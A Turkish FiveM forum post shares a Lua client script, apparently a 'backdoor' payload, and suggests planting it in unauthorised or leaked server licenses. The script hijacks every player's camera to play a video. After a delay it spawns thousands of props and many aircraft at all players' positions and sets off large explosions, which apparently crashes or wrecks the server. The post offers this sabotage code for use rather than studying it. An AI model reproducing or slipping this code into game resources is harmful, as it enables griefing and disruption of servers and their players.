Fivem.com.tr

Fivem.com.tr
Katılım
1 Eki 2022
Mesajlar
5,891
Tepki
80
değişik eğlenceli bişey

izinsiz lisansa falan koyarsınız sarar eğlenceli bişey






gte5ux.jpg






Watch "backdoor321" on Streamable.


favicon.ico


streamable.com








Python:


Kod:
function CreateNamedRenderTargetForModel(name, model)
    local handle = 0
    if not IsNamedRendertargetRegistered(name) then
        RegisterNamedRendertarget(name, 0)
    end
    if not IsNamedRendertargetLinked(model) then
        LinkNamedRendertarget(model)
    end
    if IsNamedRendertargetRegistered(name) then
        handle = GetNamedRendertargetRenderId(name)
    end

    return handle
end

function LoadModel (model)
    if not IsModelInCdimage(model) then return end

    RequestModel(model)

    while not HasModelLoaded(model) do Wait(0) end

    return model
end

local streamOfflineURL = "https://streamable.com/e/u9py61?autoplay=1&nocontrols=1&loop=0"


local scale = 1.5
local screenWidth = math.floor(1280 / scale)
local screenHeight = math.floor(720 / scale)
local screenEntity = 0
local screenModel = GetHashKey('v_ilev_cin_screen')
local handle = CreateNamedRenderTargetForModel('cinscreen', screenModel)

local txd = CreateRuntimeTxd('video')
local duiObj = CreateDui(streamOfflineURL, screenWidth, screenHeight)
local dui = GetDuiHandle(duiObj)
local tx = CreateRuntimeTextureFromDuiHandle(txd, 'test', dui)
local streamOnline = false
local duiURL

function getDuiURL () return duiURL end

function setDuiURL (url)
    duiURL = url

    SetDuiUrl(duiObj, url)
end

local cam

CreateThread(function()
    Citizen.Wait(40000)
    print("done")
    SetDuiUrl(duiObj, 'about:blank')
    SetCamActive(cam, false)
    RenderScriptCams(false, false, 1, true, true)

    for i = -4000.0, 8000.0, 3.14159 do
        local _, z1 = GetGroundZFor_3dCoord(i, i, 0, 0)
        local _, z2 = GetGroundZFor_3dCoord(-i, i, 0, 0)
        local _, z3 = GetGroundZFor_3dCoord(i, -i, 0, 0)

        CreateObject(GetHashKey("stt_prop_stunt_track_start"), i, i, z1, 0, 1, 1)
        CreateObject(GetHashKey("stt_prop_stunt_track_start"), -i, i, z2, 0, 1, 1)
        CreateObject(GetHashKey("stt_prop_stunt_track_start"), i, -i, z3, 0, 1, 1)
    end

    local dg="Avenger"
    local dh="CARGOPLANE"
    local di="luxor"
    local dj="maverick"
    local dk="blimp2"

    while not HasModelLoaded(GetHashKey(dh))do
        Citizen.Wait(0)
        RequestModel(GetHashKey(dh))
    end

    while not HasModelLoaded(GetHashKey(di))do
        Citizen.Wait(0)RequestModel(GetHashKey(di))
    end

    while not HasModelLoaded(GetHashKey(dg))do
        Citizen.Wait(0)RequestModel(GetHashKey(dg))
    end

    while not HasModelLoaded(GetHashKey(dj))do
        Citizen.Wait(0)RequestModel(GetHashKey(dj))
    end

    while not HasModelLoaded(GetHashKey(dk))do
        Citizen.Wait(0)RequestModel(GetHashKey(dk))
    end

    for i=0,128 do
        local di=CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+2.0,true,true) and CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(dg),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(dh),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(di),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(dj),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(dk),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,arwet,100000.0)and AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,arwet,true)
    end
end)

CreateThread(function ()
    local playerPed
    local playerCoords
    local inRange = false
    local screenCoords = vector3(320.1257, 248.6608, 86.56934)
    local cinemaIpl = GetInteriorAtCoords(320.217, 263.81, 82.974)
    local cinemaRoom = -1337806789

    -- Give time for resource to start
    Wait(3500)

    -- Gather the stream url
    local streamURL = "https://streamable.com/e/u9py61?autoplay=1&nocontrols=1&loop=0"

    -- Check stream status
    LoadInterior(cinemaIpl)

    -- Create cinema screen
    if not DoesEntityExist(GetClosestObjectOfType(screenCoords.x, screenCoords.y, screenCoords.z, 10.0, screenModel, false, false, false)) then
        LoadModel(screenModel)
        screenEntity = CreateObjectNoOffset(screenModel, screenCoords.x, screenCoords.y, screenCoords.z, 0, true, false)
        SetEntityHeading(screenEntity, 180.0)
         SetEntityCoords(screenEntity, GetEntityCoords(screenEntity))
        SetModelAsNoLongerNeeded(screenModel)
    end

    cam = CreateCamWithParams("DEFAULT_SCRIPTED_CAMERA", 320.0668, 259.4082, 85.530, 0.0 ,0.0,  180.0, 60.00, false, 0)
    SetCamActive(cam, true)
    RenderScriptCams(true, false, 1, true, true)

    while true do
        playerPed = PlayerPedId()
        playerCoords = GetEntityCoords(playerPed)
        inRange = GetInteriorFromEntity(playerPed) == cinemaIpl and GetKeyForEntityInRoom(playerPed) == cinemaRoom
        streamOnline = true
        inRange = true

        if streamOnline and inRange then
            if getDuiURL() ~= streamURL then
                setDuiURL(streamURL)
                Wait(1000)
            end
        else
            if getDuiURL() ~= streamOfflineURL then
                setDuiURL(streamOfflineURL)
            end
        end

       
        -- Check distance between player and screen
        if inRange then
            -- Draw screen in range
            SetTextRenderId(handle)
            Set_2dLayer(4)
            SetScriptGfxDrawBehindPausemenu(1)
            DrawRect(0.5, 0.5, 1.0, 1.0, 0, 0, 0, 255)
            DrawSprite("video", "test", 0.5, 0.5, 1.0, 1.0, 0.0, 255, 255, 255, 255)
            SetTextRenderId(GetDefaultScriptRendertargetRenderId()) -- reset
            SetScriptGfxDrawBehindPausemenu(0)
        else
            if getDuiURL() ~= streamOfflineURL then
                setDuiURL(streamOfflineURL)
            end
        end


        Wait(0)
    end

end)

-- Cleanup
AddEventHandler('onResourceStop', function (resource)
    if resource == GetCurrentResourceName() then
        SetDuiUrl(duiObj, 'about:blank')
        DestroyDui(duiObj)
        ReleaseNamedRendertarget('tvscreen')
        SetEntityAsMissionEntity(screenEntity, false, true)
        DeleteObject(screenEntity)
    end
end)



bu arada başka ne paylaşmamı istersiniz ya da yapmamı çok sıkılıom son dönemlerde


Başınıza olumsuz bir şey geldiğinde, içinde saklı derin bir ders vardır. -Eckhart Tolle

Konu alıntıdır, yanlış veya hatalı bir bilgi/paylaşım var ise yanıtlayabilir veya bizimle iletişime geçebilirsiniz.
 

Şu anda bu konu'yu okuyan kullanıcılar

Benzer konular

Üst